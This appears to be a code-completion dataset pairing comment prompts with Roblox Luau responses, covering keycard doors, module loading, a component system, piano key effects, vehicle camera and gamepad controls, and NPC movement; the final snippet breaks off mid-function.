local CanClose1 = false
local clearance = {
	["[SCP] Card-Omni"] = true,
	["[SCP] Card-L5"] = true,
	["[SCP] Card-L4"] = true,
	["[SCP] Card-L3"] = true,
	["[SCP] Card-L2"] = true,
	["[SCP] Card-L1"] = true
}

						--DO NOT EDIT PAST THIS LINE--
function openDoor()
	for i = 3,(door.Size.z / 0.15) do
		wait()
		door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15)
	end
end

function closeDoor()
	for i = 3,(door.Size.z / 0.15) do
		wait()
		door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15)
	end
end

script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
		CanOpen1 = false
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	end
end)

script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
		CanOpen1 = false
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	end
end)


Prompt: -- v1.0 --

Response:
local player = game.Players.LocalPlayer
local PlayButton = script.Parent.AudioPlayerGui.PlayButton
local PauseButton = script.Parent.AudioPlayerGui.PauseButton
local VolUpButton = script.Parent.AudioPlayerGui.VolUp
local VolDownButton = script.Parent.AudioPlayerGui.VolDown
local carSeat = script.Parent.CarSeat.Value


Prompt:
--[=[
	Loads Nevermore and handles loading!

	This is a centralized loader that handles the following scenarios:

	* Specific layouts for npm node_modules
	* Layouts for node_modules being symlinked
	* Multiple versions of modules being used in conjunction with each other
	* Relative path requires
	* Require by name
	* Replication to client and server

	@class Loader
]=]

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerScriptService = game:GetService("ServerScriptService")
local RunService = game:GetService("RunService")

local LegacyLoader = require(script.LegacyLoader)
local StaticLegacyLoader = require(script.StaticLegacyLoader)
local LoaderUtils = require(script.LoaderUtils)

local loader, metatable
if RunService:IsRunning() then
	loader = LegacyLoader.new(script)
	metatable = {
		__call = function(_self, value)
			return loader:Require(value)
		end;
		__index = function(_self, key)
			return loader:Require(key)
		end;
	}
else
	loader = StaticLegacyLoader.new()
	metatable = {
		__call = function(_self, value)
			local env = getfenv(2)
			return loader:Require(env.script, value)
		end;
		__index = function(_self, key)
			local env = getfenv(2)
			return loader:Require(env.script, key)
		end;
	}
end


Prompt: --Incline Compensation

Response: Tune.InclineComp	= 1.3			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)


Prompt: --!strict

Response:
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")

TextChatService.OnIncomingMessage = function(message: TextChatMessage)
	local props = Instance.new("TextChatMessageProperties")

	if message.TextSource then
		local player = Players:GetPlayerByUserId(message.TextSource.UserId)

		if player:GetAttribute("isVIP") == true then
			props.PrefixText = "[VIP] " .. message.PrefixText
		end
	end

	return props
end


Prompt:
--[=[
	Observes an attribute on an instance.
	@param instance Instance
	@param attributeName string
	@param defaultValue any?
	@return Observable<any>
]=]

Response:
function RxAttributeUtils.observeAttribute(instance, attributeName, defaultValue)
	assert(typeof(instance) == "Instance", "Bad instance")
	assert(type(attributeName) == "string", "Bad attributeName")

	return Observable.new(function(sub)
		local maid = Maid.new()

		local function update()
			local value = instance:GetAttribute(attributeName)
			if value == nil then
				sub:Fire(defaultValue)
			else
				sub:Fire(value)
			end
		end

		maid:GiveTask(instance:GetAttributeChangedSignal(attributeName):Connect(update))
		update()

		return maid
	end)
end

return RxAttributeUtils


Prompt: -- Initialization

Response:
local MapPurgeProof = game.Workspace:FindFirstChild('MapPurgeProof')
if not MapPurgeProof then
	MapPurgeProof = Instance.new('Folder', game.Workspace)
	MapPurgeProof.Name = 'MapPurgeProof'
end


Prompt: -- initialize to idle

Response:
PlayAnimation("Idle", 0.1, Humanoid)
Pose = "Standing"

while Figure.Parent do
	local i, Time = Wait(0.1)
	Move(Time)
end


Prompt:
-- Return true if:
-- "key": "value has multiple lines\n...
-- "key has multiple lines\n...

Response:
function hasUnmatchedDoubleQuoteMarks(string_: string): boolean
	local n = 0

	local i = string.find(string_, '"')

	while i do
		if i == 1 or string.sub(string_, i - 1, i - 1) ~= "\\" then
			n = n + 1
		end

		i = string.find(string_, '"', i + 1)
	end

	return n % 2 ~= 0
end

function isFirstLineOfTag(line: string)
	return string.find(line, "^[ ]*<") ~= nil
end


Prompt:
--function autoLight()
--	if Auto_Lights then
--		local dusk = {16, 18}
--		local night = {18, 6.2}


Prompt: -- Components will only work on instances parented under these descendants:

Response:
local DESCENDANT_WHITELIST = {workspace, Players}

local Component = {}
Component.__index = Component

local componentsByTag = {}

local componentByTagCreated = Signal.new()
local componentByTagDestroyed = Signal.new()

local function IsDescendantOfWhitelist(instance)
	for _,v in ipairs(DESCENDANT_WHITELIST) do
		if instance:IsDescendantOf(v) then
			return true
		end
	end
	return false
end

function Component.FromTag(tag)
	return componentsByTag[tag]
end

function Component.ObserveFromTag(tag, observer)
	local janitor = Janitor.new()
	local observeJanitor = Janitor.new()
	janitor:Add(observeJanitor)
	local function OnCreated(component)
		if component._tag == tag then
			observer(component, observeJanitor)
		end
	end
	local function OnDestroyed(component)
		if component._tag == tag then
			observeJanitor:Cleanup()
		end
	end
	do
		local component = Component.FromTag(tag)
		if component then
			task.spawn(OnCreated, component)
		end
	end
	janitor:Add(componentByTagCreated:Connect(OnCreated))
	janitor:Add(componentByTagDestroyed:Connect(OnDestroyed))
	return janitor
end

function Component.Auto(folder)
	local function Setup(moduleScript)
		local m = require(moduleScript)
		assert(type(m) == "table", "Expected table for component")
		assert(type(m.Tag) == "string", "Expected .Tag property")
		Component.new(m.Tag, m, m.RenderPriority, m.RequiredComponents)
	end
	for _,v in ipairs(folder:GetDescendants()) do
		if v:IsA("ModuleScript") then
			Setup(v)
		end
	end
	folder.DescendantAdded:Connect(function(v)
		if v:IsA("ModuleScript") then
			Setup(v)
		end
	end)
end

function Component.new(tag, class, renderPriority, requireComponents)

	assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag))
	assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class))
	assert(type(class.new) == "function", "Class must contain a .new constructor function")
	assert(type(class.Destroy) == "function", "Class must contain a :Destroy function")
	assert(componentsByTag[tag] == nil, "Component already bound to this tag")

	local self = setmetatable({}, Component)

	self._janitor = Janitor.new()
	self._lifecycleJanitor = Janitor.new()
	self._tag = tag
	self._class = class
	self._objects = {}
	self._instancesToObjects = {}
	self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function")
	self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function")
	self._hasRenderUpdate = (type(class.RenderUpdate) == "function")
	self._hasInit = (type(class.Init) == "function")
	self._hasDeinit = (type(class.Deinit) == "function")
	self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value
	self._requireComponents = requireComponents or {}
	self._lifecycle = false
	self._nextId = 0

	self.Added = Signal.new(self._janitor)
	self.Removed = Signal.new(self._janitor)

	local observeJanitor = Janitor.new()
	self._janitor:Add(observeJanitor)

	local function ObserveTag()

		local function HasRequiredComponents(instance)
			for _,reqComp in ipairs(self._requireComponents) do
				local comp = Component.FromTag(reqComp)
				if comp:GetFromInstance(instance) == nil then
					return false
				end
			end
			return true
		end

		observeJanitor:Add(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance)
			if IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then
				self:_instanceAdded(instance)
			end
		end))

		observeJanitor:Add(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance)
			self:_instanceRemoved(instance)
		end))

		for _,reqComp in ipairs(self._requireComponents) do
			local comp = Component.FromTag(reqComp)
			observeJanitor:Add(comp.Added:Connect(function(obj)
				if CollectionService:HasTag(obj.Instance, tag) and HasRequiredComponents(obj.Instance) then
					self:_instanceAdded(obj.Instance)
				end
			end))
			observeJanitor:Add(comp.Removed:Connect(function(obj)
				if CollectionService:HasTag(obj.Instance, tag) then
					self:_instanceRemoved(obj.Instance)
				end
			end))
		end

		observeJanitor:Add(function()
			self:_stopLifecycle()
			for instance in pairs(self._instancesToObjects) do
				self:_instanceRemoved(instance)
			end
		end)

		do
			local b = Instance.new("BindableEvent")
			for _,instance in ipairs(CollectionService:GetTagged(tag)) do
				if IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance) then
					local c = b.Event:Connect(function()
						self:_instanceAdded(instance)
					end)
					b:Fire()
					c:Disconnect()
				end
			end
			b:Destroy()
		end

	end

	if #self._requireComponents == 0 then
		ObserveTag()
	else
		-- Only observe tag when all required components are available:
		local tagsReady = {}
		local function Check()
			for _,ready in pairs(tagsReady) do
				if not ready then
					return
				end
			end
			ObserveTag()
		end
		local function Cleanup()
			observeJanitor:Cleanup()
		end
		for _,requiredComponent in ipairs(self._requireComponents) do
			tagsReady[requiredComponent] = false
		end
		for _,requiredComponent in ipairs(self._requireComponents) do
			self._janitor:Add(Component.ObserveFromTag(requiredComponent, function(_component, janitor)
				tagsReady[requiredComponent] = true
				Check()
				janitor:Add(function()
					tagsReady[requiredComponent] = false
					Cleanup()
				end)
			end))
		end
	end

	componentsByTag[tag] = self
	componentByTagCreated:Fire(self)
	self._janitor:Add(function()
		componentsByTag[tag] = nil
		componentByTagDestroyed:Fire(self)
	end)

	return self

end

function Component:_startHeartbeatUpdate()
	local all = self._objects
	self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)
		for _,v in ipairs(all) do
			v:HeartbeatUpdate(dt)
		end
	end)
	self._lifecycleJanitor:Add(self._heartbeatUpdate)
end

function Component:_startSteppedUpdate()
	local all = self._objects
	self._steppedUpdate = RunService.Stepped:Connect(function(_, dt)
		for _,v in ipairs(all) do
			v:SteppedUpdate(dt)
		end
	end)
	self._lifecycleJanitor:Add(self._steppedUpdate)
end

function Component:_startRenderUpdate()
	local all = self._objects
	self._renderName = (self._tag .. "RenderUpdate")
	RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt)
		for _,v in ipairs(all) do
			v:RenderUpdate(dt)
		end
	end)
	self._lifecycleJanitor:Add(function()
		RunService:UnbindFromRenderStep(self._renderName)
	end)
end

function Component:_startLifecycle()
	self._lifecycle = true
	if self._hasHeartbeatUpdate then
		self:_startHeartbeatUpdate()
	end
	if self._hasSteppedUpdate then
		self:_startSteppedUpdate()
	end
	if self._hasRenderUpdate then
		self:_startRenderUpdate()
	end
end

function Component:_stopLifecycle()
	self._lifecycle = false
	self._lifecycleJanitor:Cleanup()
end

function Component:_instanceAdded(instance)
	if self._instancesToObjects[instance] then return end
	if not self._lifecycle then
		self:_startLifecycle()
	end
	self._nextId = (self._nextId + 1)
	local id = (self._tag .. tostring(self._nextId))
	if IS_SERVER then
		instance:SetAttribute(ATTRIBUTE_ID_NAME, id)
	end
	local obj = self._class.new(instance)
	obj.Instance = instance
	obj._id = id
	self._instancesToObjects[instance] = obj
	table.insert(self._objects, obj)
	if self._hasInit then
		task.defer(function()
			if self._instancesToObjects[instance] ~= obj then return end
			obj:Init()
		end)
	end
	self.Added:Fire(obj)
	return obj
end

function Component:_instanceRemoved(instance)
	if not self._instancesToObjects[instance] then return end
	self._instancesToObjects[instance] = nil
	for i,obj in ipairs(self._objects) do
		if obj.Instance == instance then
			if self._hasDeinit then
				obj:Deinit()
			end
			if IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil then
				instance:SetAttribute(ATTRIBUTE_ID_NAME, nil)
			end
			self.Removed:Fire(obj)
			obj:Destroy()
			obj._destroyed = true
			TableUtil.FastRemove(self._objects, i)
			break
		end
	end
	if #self._objects == 0 and self._lifecycle then
		self:_stopLifecycle()
	end
end

function Component:GetAll()
	return TableUtil.CopyShallow(self._objects)
end

function Component:GetFromInstance(instance)
	return self._instancesToObjects[instance]
end

function Component:GetFromID(id)
	for _,v in ipairs(self._objects) do
		if v._id == id then
			return v
		end
	end
	return nil
end

function Component:Filter(filterFunc)
	return TableUtil.Filter(self._objects, filterFunc)
end

function Component:WaitFor(instance, timeout)
	local isName = (type(instance) == "string")
	local function IsInstanceValid(obj)
		return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance))
	end
	for _,obj in ipairs(self._objects) do
		if IsInstanceValid(obj) then
			return Promise.Resolve(obj)
		end
	end
	local lastObj = nil
	return Promise.FromEvent(self.Added, function(obj)
		lastObj = obj
		return IsInstanceValid(obj)
	end):Then(function()
		return lastObj
	end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT)
end

function Component:Observe(instance, observer)
	local janitor = Janitor.new()
	local observeJanitor = Janitor.new()
	janitor:Add(observeJanitor)
	janitor:Add(self.Added:Connect(function(obj)
		if obj.Instance == instance then
			observer(obj, observeJanitor)
		end
	end))
	janitor:Add(self.Removed:Connect(function(obj)
		if obj.Instance == instance then
			observeJanitor:Cleanup()
		end
	end))
	for _,obj in ipairs(self._objects) do
		if obj.Instance == instance then
			task.spawn(observer, obj, observeJanitor)
			break
		end
	end
	return janitor
end

function Component:Destroy()
	self._janitor:Destroy()
end

return Component


Prompt: --Values

Response:
local Open = script.Parent.Open.Value
local Ready = script.Parent.Ready.Value


Prompt:
----------------------------------
------------FUNCTIONS-------------
----------------------------------

Response:
function UnDigify(digit)
	if digit < 1 or digit > 61 then
		return ""
	elseif digit == 1 then
		return "1"
	elseif digit == 2 then
		return "!"
	elseif digit == 3 then
		return "2"
	elseif digit == 4 then
		return "@"
	elseif digit == 5 then
		return "3"
	elseif digit == 6 then
		return "4"
	elseif digit == 7 then
		return "$"
	elseif digit == 8 then
		return "5"
	elseif digit == 9 then
		return "%"
	elseif digit == 10 then
		return "6"
	elseif digit == 11 then
		return "^"
	elseif digit == 12 then
		return "7"
	elseif digit == 13 then
		return "8"
	elseif digit == 14 then
		return "*"
	elseif digit == 15 then
		return "9"
	elseif digit == 16 then
		return "("
	elseif digit == 17 then
		return "0"
	elseif digit == 18 then
		return "q"
	elseif digit == 19 then
		return "Q"
	elseif digit == 20 then
		return "w"
	elseif digit == 21 then
		return "W"
	elseif digit == 22 then
		return "e"
	elseif digit == 23 then
		return "E"
	elseif digit == 24 then
		return "r"
	elseif digit == 25 then
		return "t"
	elseif digit == 26 then
		return "T"
	elseif digit == 27 then
		return "y"
	elseif digit == 28 then
		return "Y"
	elseif digit == 29 then
		return "u"
	elseif digit == 30 then
		return "i"
	elseif digit == 31 then
		return "I"
	elseif digit == 32 then
		return "o"
	elseif digit == 33 then
		return "O"
	elseif digit == 34 then
		return "p"
	elseif digit == 35 then
		return "P"
	elseif digit == 36 then
		return "a"
	elseif digit == 37 then
		return "s"
	elseif digit == 38 then
		return "S"
	elseif digit == 39 then
		return "d"
	elseif digit == 40 then
		return "D"
	elseif digit == 41 then
		return "f"
	elseif digit == 42 then
		return "g"
	elseif digit == 43 then
		return "G"
	elseif digit == 44 then
		return "h"
	elseif digit == 45 then
		return "H"
	elseif digit == 46 then
		return "j"
	elseif digit == 47 then
		return "J"
	elseif digit == 48 then
		return "k"
	elseif digit == 49 then
		return "l"
	elseif digit == 50 then
		return "L"
	elseif digit == 51 then
		return "z"
	elseif digit == 52 then
		return "Z"
	elseif digit == 53 then
		return "x"
	elseif digit == 54 then
		return "c"
	elseif digit == 55 then
		return "C"
	elseif digit == 56 then
		return "v"
	elseif digit == 57 then
		return "V"
	elseif digit == 58 then
		return "b"
	elseif digit == 59 then
		return "B"
	elseif digit == 60 then
		return "n"
	elseif digit == 61 then
		return "m"
  	else
    	return "?"
	end
end
function IsBlack(note)
	if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
		return true
	end
end

local TweenService = game:GetService("TweenService")
function Tween(obj,Goal,Time,Wait,...)
    local TwInfo = TweenInfo.new(Time,...)
    local twn = TweenService:Create(obj, TwInfo, Goal)
    twn:Play()
    if Wait then
        twn.Completed:wait()
    end
	return
end

function clone(part,on)
	if on and part then
		local cln = part:Clone()
		cln.Parent = part
		local obj = cln
		local Properties = {}
		Properties.Position = Vector3.new(cln.Position.x,cln.Position.y + 2.4,cln.Position.z)
		Properties.Size = Vector3.new(cln.Size.x + 4.8,cln.Size.y,cln.Size.z)
		Tween(obj,Properties,.2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,true)
		cln:Destroy()
	end
	return
end

function HighlightPianoKey(note1,transpose)
	if not Settings.KeyAesthetics then return end
	local octave = math.ceil(note1/12)
	local note2 = (note1 - 1)%12 + 1
	local k = Piano.Case.Circles[note1]
	local Upwords = true
	if k then
		local key = k:Clone()
		key.Parent = Piano.Keys.ActiveParts
		key.Transparency = 0
		local obj = key
		local Properties = {}
		Properties.CFrame = key.CFrame + key.CFrame.lookVector * -20
		Properties.Transparency = 1
		Tween(obj,Properties,2,false,Enum.EasingStyle.Linear,Enum.EasingDirection.Out)
		clone(key,true)
		wait(.1)
		clone(key,true)
		wait(.1)
		clone(key,true)
		wait(.1)
		clone(key,true)
		wait(.3)
		key:Destroy()
	end
	return
end


Prompt: --[[ END OF SERVICES ]]

Response:
local LocalPlayer = PlayersService.LocalPlayer
while LocalPlayer == nil do
	PlayersService.ChildAdded:wait()
	LocalPlayer = PlayersService.LocalPlayer
end

local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")

local success, UserShouldLocalizeGameChatBubble = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble")
end)
local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble

local UserFixBubbleChatText do
	local success, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserFixBubbleChatText")
	end)
	UserFixBubbleChatText = success and value
end

local UserRoactBubbleChatBeta do
	local success, value = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserRoactBubbleChatBeta")
	end)
	UserRoactBubbleChatBeta = success and value
end

local function getMessageLength(message)
	return utf8.len(utf8.nfcnormalize(message))
end


Prompt: -- Services --

Response:
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")


Prompt: -- ROBLOX deviation: omitting fs and types file import and defining in line instead

Response:
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent


Response:
while true do
	game:GetService("RunService").Stepped:Wait()
	local target = findNearestTorso(script.Parent:WaitForChild("HumanoidRootPart").Position)
	if target ~= nil then
		script.Parent.Humanoid:MoveTo(target.Position + Vector3.new(math.random(-10,10),0,math.random(-10,10)))
		wait(math.random(1,2))
	end
end


Prompt: --// Firemode Settings

Response:
	CanSelectFire = false;
	BurstEnabled = false;
	SemiEnabled = true;
	AutoEnabled = true;
	BoltAction = false;
	ExplosiveEnabled = false;


Prompt: --[[ STATIC METHODS ]]

Response:
--
function Path.GetNearestCharacter(fromPosition)
	local character, dist = nil, math.huge
	for _, player in ipairs(Players:GetPlayers()) do
		if player.Character and (player.Character.PrimaryPart.Position - fromPosition).Magnitude < dist then
			character, dist = player.Character, (player.Character.PrimaryPart.Position - fromPosition).Magnitude
		end
	end
	return character
end


Prompt: ---Controller

Response:
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0

local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
	if Controller then
		if input.KeyCode ==Enum.KeyCode.ButtonX then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonX=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonX=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonY then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonY=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonY=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonL1=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonL1=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonR1=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonR1=0
			end
		elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
			if input.UserInputState == Enum.UserInputState.Begin then
				DPadUp=1
			elseif input.UserInputState == Enum.UserInputState.End then
				DPadUp=0
			end
		elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
			if input.UserInputState == Enum.UserInputState.Begin then
				ButtonR3=1
			elseif input.UserInputState == Enum.UserInputState.End then
				ButtonR3=0
			end
		end
		if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
			if input.KeyCode == Enum.KeyCode.Thumbstick1 then
				LStickX = input.Position.X
			elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
				RStickX = input.Position.X
				RStickY = input.Position.Y
			elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
				RTriggerValue = input.Position.Z
			elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
				LTriggerValue = input.Position.Z
			end
		end
	end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)

car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		for i,v in pairs(Binded) do
			run:UnbindFromRenderStep(v)
		end
		workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
		workspace.CurrentCamera.FieldOfView=70
		player.CameraMaxZoomDistance=200
	end
end)

function Camera()
	local cam=workspace.CurrentCamera
	local intcam=false
	local CRot=0
	local CBack=0
	local CUp=0
	local mode=0
	local look=0
	local camChange = 0
	local function CamUpdate()
		if not pcall (function()
			if camChange==0 and DPadUp==1 then
				intcam = not intcam
			end
			camChange=DPadUp
			if mode==1 then
				if math.abs(RStickX)>.1 then
					local sPos=1
					if RStickX<0 then sPos=-1 end
					if intcam then
						CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
					else
						CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
					end
				else
					CRot=0
				end
				if math.abs(RStickY)>.1 then
					local sPos=1
					if RStickY<0 then sPos=-1 end
					if intcam then
						CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
					else
						CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
					end
				else
					CUp=0
				end
			else
				if CRot>look then
					CRot=math.max(look,CRot-20)
				elseif CRot<look then
					CRot=math.min(look,CRot+20)
				end
				CUp=0
			end
			if intcam then
				CBack=0
			else
				CBack=-180*ButtonR3
			end
			if intcam then
				cam.CameraSubject=player.Character.Humanoid
				cam.CameraType=Enum.CameraType.Scriptable
				cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12
				player.CameraMaxZoomDistance=5
				local cf=car.Body.Cam.CFrame
				if ButtonR3==1 then
					cf=car.Body.RCam.CFrame
				end
				cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
			else
				cam.CameraSubject=car.DriveSeat
				cam.FieldOfView=70
				if mode==0 then
					cam.CameraType=Enum.CameraType.Custom
					player.CameraMaxZoomDistance=400
					run:UnbindFromRenderStep("CamUpdate")
				else
					cam.CameraType = "Scriptable"
					local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
					local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
					cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
				end
			end
		end) then
			cam.FieldOfView=70
			cam.CameraSubject=player.Character.Humanoid
			cam.CameraType=Enum.CameraType.Custom
			player.CameraMaxZoomDistance=400
			run:UnbindFromRenderStep("CamUpdate")
		end
	end
	local function ModeChange()
		if GMode~=mode then
			mode=GMode
			run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
		end
	end
	mouse.KeyDown:connect(function(key)
		if key=="u" then
			look=90
		elseif key=="i" then
			if intcam then
				look=180
			else
				look=195
			end
		elseif key=="o" then
			look=-90
		elseif key=="v" then
			run:UnbindFromRenderStep("CamUpdate")
			intcam=not intcam
			run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
		end
	end)
	mouse.KeyUp:connect(function(key)
		if key=="u" and look==90 then
			look=0
		elseif key=="i" and (look==180 or look==195) then
			look=0
		elseif key=="o" and look==-90 then
			look=0
		end
	end)
	run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
	table.insert(Binded,"CamUpdate")
	table.insert(Binded,"CMChange")
end
Camera()

mouse.KeyDown:connect(function(key)
	if key=="b" then
		if GMode>=1 then
			GMode=0
		else
			GMode=GMode+1
		end
		if GMode==1 then
			Controller=true
		else
			Controller=false
		end
	end
end)


Prompt: --// Extras

Response:
	WalkAnimEnabled = true; -- Set to false to disable walking animation, true to enable
	SwayEnabled = false;	 -- Set to false to disable sway, true to enable
	TacticalModeEnabled = true; -- SET THIS TO TRUE TO TURN ON TACTICAL MODEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE


Prompt: -- << VARIABLES >>

Response:
local errors = {
	Player = "Player does not exist!";
}


Prompt: -- setup emote chat hook

Response:
game:GetService("Players").LocalPlayer.Chatted:connect(function(msg)
	local emote = ""
	if (string.sub(msg, 1, 3) == "/e ") then
		emote = string.sub(msg, 4)
	elseif (string.sub(msg, 1, 7) == "/emote ") then
		emote = string.sub(msg, 8)
	end

	if (pose == "Standing" and emoteNames[emote] ~= nil) then
		playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
	end
end)


Prompt: -- 6-8

Response:
module.Subcategory.Hats = 9
module.Subcategory.Faces = 10
module.Subcategory.Shirts = 12
module.Subcategory.TShirts = 13
module.Subcategory.Pants = 14
module.Subcategory.Heads = 15


Prompt: --------AUDIENCE BACK RIGHT--------

Response:
game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)


Prompt: -- ROBLOX MOVED: expect/jasmineUtils.lua

Response:
local function asymmetricMatch(a: any, b: any)
	local asymmetricA = isAsymmetric(a)
	local asymmetricB = isAsymmetric(b)

	if asymmetricA and asymmetricB then
		return nil
	end

	if asymmetricA then
		return a:asymmetricMatch(b)
	end

	if asymmetricB then
		return b:asymmetricMatch(a)
	end

	return nil
end


Prompt: --Front--

Response:
local FRAtt1 = Instance.new("Attachment", FRDisk)
FRAtt1.Position = Vector3.new(0,1,0)

local FRAtt2 = Instance.new("Attachment", FRDisk)
FRAtt2.Position = Vector3.new(0,-1,0)

local FLAtt1 = Instance.new("Attachment", FLDisk)
FLAtt1.Position = Vector3.new(0,1,0)

local FLAtt2 = Instance.new("Attachment", FLDisk)
FLAtt2.Position = Vector3.new(0,-1,0)

local FDIFF1 = Instance.new("SpringConstraint", trans)
FDIFF1.Name = "ControlX"
FDIFF1.Attachment0 = FRAtt1
FDIFF1.Attachment1 = FLAtt1

local FDIFF2 = Instance.new("SpringConstraint", trans)
FDIFF2.Name = "ControlY"
FDIFF2.Attachment0 = FRAtt2
FDIFF2.Attachment1 = FLAtt2


Prompt: --[[ Public API ]]

Response:
--
function Gamepad:Enable()
	local forwardValue  = 0
	local backwardValue = 0
	local leftValue = 0
	local rightValue = 0

	local moveFunc = LocalPlayer.Move
	local gamepadSupports = UserInputService.GamepadSupports

	local controlCharacterGamepad = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.Cancel then
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector =  Vector3.new(0,0,0)
			return
		end

		if activateGamepad ~= inputObject.UserInputType then return end
		if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end

		if inputObject.Position.magnitude > thumbstickDeadzone then
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector =  Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
			MasterControl:AddToPlayerMovement(currentMoveVector)
		else
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector =  Vector3.new(0,0,0)
		end
	end

	local jumpCharacterGamepad = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.Cancel then
			MasterControl:SetIsJumping(false)
			return
		end

		if activateGamepad ~= inputObject.UserInputType then return end
		if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end

		MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin)
	end

	local doDpadMoveUpdate = function(userInputType)
		if LocalPlayer and LocalPlayer.Character then
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
			MasterControl:AddToPlayerMovement(currentMoveVector)
		end
	end

	local moveForwardFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			forwardValue = -1
